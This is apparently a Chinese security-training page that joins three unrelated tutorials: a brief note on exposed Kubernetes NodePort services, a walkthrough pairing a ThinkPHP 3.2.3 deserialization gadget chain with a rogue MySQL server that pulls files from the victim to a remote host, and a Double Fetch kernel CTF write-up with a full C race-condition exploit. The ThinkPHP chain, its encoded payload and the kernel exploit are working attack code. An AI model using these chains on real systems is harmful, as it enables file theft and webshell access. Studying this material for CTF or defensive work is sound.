NodePort是Kubernetes的三种外部访问方式之一。NodePort 服务是接通外部网络到你的服务的最原始方式。是指在所有节点上开放一个特定端口,任何发送到该端口的流量都被转发到对应服务。
如果用户使用 NodePort 暴露了 Kubernetes 集群内的任何服务,这意味着如果运行 Kubernetes 集群的节点没有启用任何防火墙/网络安全策略。一些未经身份验证和未经授权的服务会被暴露和利用。
获取Kubernetes节点外部IP地址列表,因为这里是实验测试环境的原因,所以 EXTERNAL-IP显示为<none>
kubectl get nodes -o wide
默认情况下,NodePort的端口范围是30000-32767。可以使用Nmap等扫描工具进行扫描和服务识别。
访问对应的端口查看暴露的服务信息
此漏洞/攻击取决于 Kubernetes 集群的配置方式。
浅析MySQL恶意服务器读取文件原理
前言
注:本文不涉及对MySQL协议报文研究,仅讲解原理,并且做部分演示。
搭建MySQL恶意服务器读取文件这件事,虽然直接利用门槛较高,但是由于在网上看到了一种比较新颖的利用方式(利用社会工程学引诱用户连接MySQL进而读取用户文件),个人觉得比较有意思,总结了一下攻击原理以及攻击方式,因此就有了这篇文章。
原理
在阐述具体原理之前,先介绍几个SQL语句,以便后文理解
首先在tmp目录下新建一个tmp.txt
内容如下:
然后执行下方SQL语句,即可将tmp.txt文件导入其中
mysql> load data local infile "/tmp/tmp.txt" into table test fields terminated by '\n';
Query OK, 3 rows affected (2.63 sec)
Records: 3 Deleted: 0 Skipped: 0 Warnings: 0
mysql> select * from Test;
+-------+
| name |
+-------+
| admin |
| user |
| Lxxx |
+-------+
3 rows in set (0.00 sec)
load data local infile语句会读取客户端本地的文件
load data infile语句会读取服务端本地的文件
terminated by表示以某某字符分割,默认为Tab,这里我设置为了\n
这个时候可能就会绕不清楚,什么是服务端,什么是客户端?
因为一般情况下,调试SQL都是在本机,并且数据库也在本机,这样的情况就导致,客户端和服务端都是在本地,有点难区分,下面我用一张图来简述。
在本地,由于客户端和服务端都是在同一个磁盘下,因此,在本地,无论是否加local都是可以将文件传入数据库的,而后面讲到利用MySQL恶意服务器读取文件的漏洞,就是需要使用local,来达到将文件带出的目的。
下面我画了两张图,第一张图是正常业务流程,第二张图是攻击者恶意攻击的流程
正常的后端业务流程如下:
当攻击者劫持后端服务器,并且在公网中搭建恶意的MySQL后,流程图如下:
这样攻击者就可以在后端达到任意文件下载的目的。
演示
虽说在之前的某个CTF比赛出过类似的题目,但是我这里还是使用ThinkPHP3.2.3存在的反序列化漏洞,结合MySQL恶意服务器读取敏感文件,进而RCE的样例。
首先在本地先启动一个ThinkPHP3.2.3的框架,连接好数据库,在Application/Home/Controller/HelloController.class.php控制器中写一个反序列化入口
<?php
namespace Home\Controller;
use Think\Controller;
class HelloController extends Controller
{
public function index($Lxxx){
echo base64_decode($Lxxx);
$a = unserialize(base64_decode($Lxxx));
}
}
具体的链子,我就不跟了,网上也有很多,虽然链子具体的方法不跟进,但是我还是需要介绍一下这条链子能起到一个什么作用。
首先需要一个反序列化入口,这是毋庸置疑的,没有反序列化入口,那就无法进行反序列化,所以上方我就在HelloController控制器中自己写了一个反序列化入口
这条链子最终的链尾是需要数据库的相关信息,例如数据库名,数据库端口,数据库用户以及密码,并且这条链子是允许使用堆叠注入的,因此如果知道数据库相关信息,那么就可以利用堆叠注入写入一句话木马进而getshell
这里我就直接将链子放出来,然后演示一下如何搭建一个恶意的MySQL数据库,获取敏感文件,进而getshell
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "tp323",
"hostname" => "127.0.0.1",
"hostport" => "8889",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
上方链子中的数据库信息为我本地的数据库信息,执行该文件后,得到序列化字符串如下:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAq
传给url
可以看到报错注入成功
然后,在公网上搭建一个恶意的MySQL服务,这个脚本在Github中已经有前辈写好了,具体原理就是分析相关的MySQL报文,然后与后端服务器创建恶意连接,并且获得自己想要的文件,这里贴出几个连接,有些项目可能在新的MySQL版本中无法使用。
https://github.com/Gifts/Rogue-MySql-Server
https://github.com/allyshka/Rogue-MySql-Server
https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read
下载好POC之后,修改一下要读取的文件名
然后利用Python启动,启动完成后,恶意的MySQL就在监听3307端口
python rogue_mysql_server.py
接下来修改之前的链子,把IP和端口修改为远程恶意的MySQL地址,然后生成链子
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "tp323",
"hostname" => "1.1.1.1",
"hostport" => "3307",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
得到:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAq
传给HomeController控制器
然后就可以在远程VPS中的mysql.log得到之前需要恶意下载的文件
现在得到了相关数据库信息,然后就可以再次构造链子,利用堆叠注入写入一句话木马getshell了
使用场景
能劫持后端服务器,但无法getshell的时候,可以采用这个方法getshell(例如ThinkPHP3.2.3的利用链只能到数据库层,则可以通过这个方法getshell)
能引诱用户连接恶意MySQL(社会工程学)
参考资料
http://blog.nsfocus.net/malicious-mysql-server-reads-mysql-client-files/
https://www.modb.pro/db/51823
https://cloud.tencent.com/developer/article/1818089
https://github.com/Gifts/Rogue-MySql-Server
https://github.com/allyshka/Rogue-MySql-Server
https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read
Kernel Pwn基础教程之 Double Fetch
一、前言
Double Fetch是一种条件竞争类型的漏洞,其主要形成的原因是由于用户态与内核态之间的数据在进行交互时存在时间差,我们在先前的学习中有了解到内核在从用户态中获取数据时会使用函数copy_from_user,而如果要拷贝的数据过于复杂的话则内核会选择引用其指针而将数据暂存于用户态中等待后续处理,而在这时数据会存在被条件竞争修改原有数据的风险,也就是笔者要分享的Double Fetch的由来。
二、Double Fetch介绍
如下图所示,用户态首先准备好用户态数据(prepare data),然后执行syscall进入内核态后,会对用户态数据进行第一次fetch,这一次fetch主要是做一些检测工作(如缓冲区大小、指针是否可用等),在检查通过后会执行第二次fetch对数据进行实际操作。而在这期间是存在一定的时间差,如果我们在用户态数据通过第一次check以后创建一个恶意进程利用二次fetch之间的时间差修改掉原先用户态的数据,那么在内核执行第二次fetch时处理的就并非原先通过检测的数据,而是我们精心准备的恶意数据,而此类漏洞往往会引起访问越界,缓冲区溢出最终造成恶意提权的情况。
三、Double Fetch例题
1、题目分析
本次选择的例题是0ctf-final-baby,用IDA打开baby.ko进行逆向分析。驱动主要注册了baby_ioctl函数,当第二个参数为0x6666时会使用printk函数输出flag值在,可以通过dmesg命令查看printk函数的输出结果。
不难看出flag是硬编码在驱动文件中,可以看到flag的长度为33位。
.data:0000000000000480 flag dq offset aFlagThisWillBe
.data:0000000000000480 ; DATA XREF: sub_25+25↑r
.data:0000000000000480 ; sub_25+D6↑r ...
.data:0000000000000480 ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"
当第二个参数为0x1337时通过三次检测则会对传入的内容与flag进行比较,如果相同就通过printk函数输出flag值。其中在三次检测中使用到_chk_range_not_ok函数,前两个参数不难理解,但是第三个参数在这里比较难理解。
bool __fastcall _chk_range_not_ok(__int64 contect, __int64 len, unsigned __int64 unknow)
{
bool my_cf; // cf
unsigned __int64 sum; // rdi
my_cf = __CFADD__(len, contect);
sum = len + contect;
return my_cf || unknow < sum;
}
我们通过动态调试的方式定位在_chk_range_not_ok函数处,发现current_task+0x1358的结果就是0x7ffffffffffff000,也就是说这三次check的意思分别是:
1、判断结构体的指针是否在用户态
2、判断结构体中flag地址指针是否在用户态
3、判断结构体中flag长度是否与内核flag长度相同
通过这三个检测之后就会比对传入结构体中flag值与内核的flag值是否相同,全部正确就会通过printk输出内核中的flag值。
for ( i = 0; i < strlen(flag); ++i )
{
if ( contect->addr[i] != flag[i] )
return 0x16LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
return 0LL;
2、漏洞利用
通过分析题目其实没有十分明显的漏洞点,但是如果我们以条件竞争的思路来看待这道题就会发现隐藏的漏洞点。如果我们首先在用户态创建一个可以通过三次检测的结构体指针(User_Data),那么在这个数据在真正被处理之前是存在一定的时间差的,并且因为数据是保存在用户态中,所以当我们开启一个恶意进程不断修改用户态中flag地址为内核态的地址,那么在实际处理数据时取出的就是内核地址,最终判断的时候就是内核地址与内核地址的比较,最终输出flag值并用dmesg命令查看输出结果。
3、EXP
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
int finish = 1;
struct message {
char *addr;
int len;
}data;
size_t flag_address = 0;
void read_flag_address() {
system("dmesg | grep flag > message.txt");
int fd = open("message.txt", O_RDWR);
char buf[0x60] = {0};
read(fd, buf, sizeof(buf));
size_t idx = strstr(buf, "at ") + 3;
sscanf(idx, "%llx", &flag_address);
printf("[+] FIND FLAG ADDRESS: 0x%llx\n", flag_address);
close(fd);
}
void evil_thread() {
while (finish == 1) {
data.addr = flag_address;
}
}
void main() {
pthread_t pthread;
int fd = open("/dev/baby", O_RDWR);
char buf[0x100] = {0};
ioctl(fd, 0x6666);
read_flag_address();
pthread_create(&pthread, NULL, evil_thread, NULL);
data.addr = buf;
data.len = 33;
for (int i = 0; i < 0x1000; i++) {
ioctl(fd, 0x1337, &data);
data.addr = buf;
}
finish = 0;
pthread_join(pthread, NULL);
system("dmesg | grep flag");
close(fd);
}
使用如下命令编译elf文件,重新打包文件系统后执行start.sh,最终效果如下。
gcc -pthread -g -static -masm=intel -o exp exp.c
四、总结
Double Fetch 最为主要的就是培养以线程间条件竞争的角度来看待程序,从而发现一些比较隐蔽的漏洞。关于本次介绍的例题还有一种非预期的解法,可以通过在用户态使用mmap的方式开辟两块内存地址,第一块设置读写权限,第二块设置不可读写权限,我们将需要比较的字节放在第一块内存的最后一个字节中,当我们的判断正确时就会继续往下取值,这时就会从第二块即不可读写的内存中取值,就会造成kernel panic,这时我们就可以判断字符判断成功。感兴趣的师傅们可以自己尝试实现一下。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

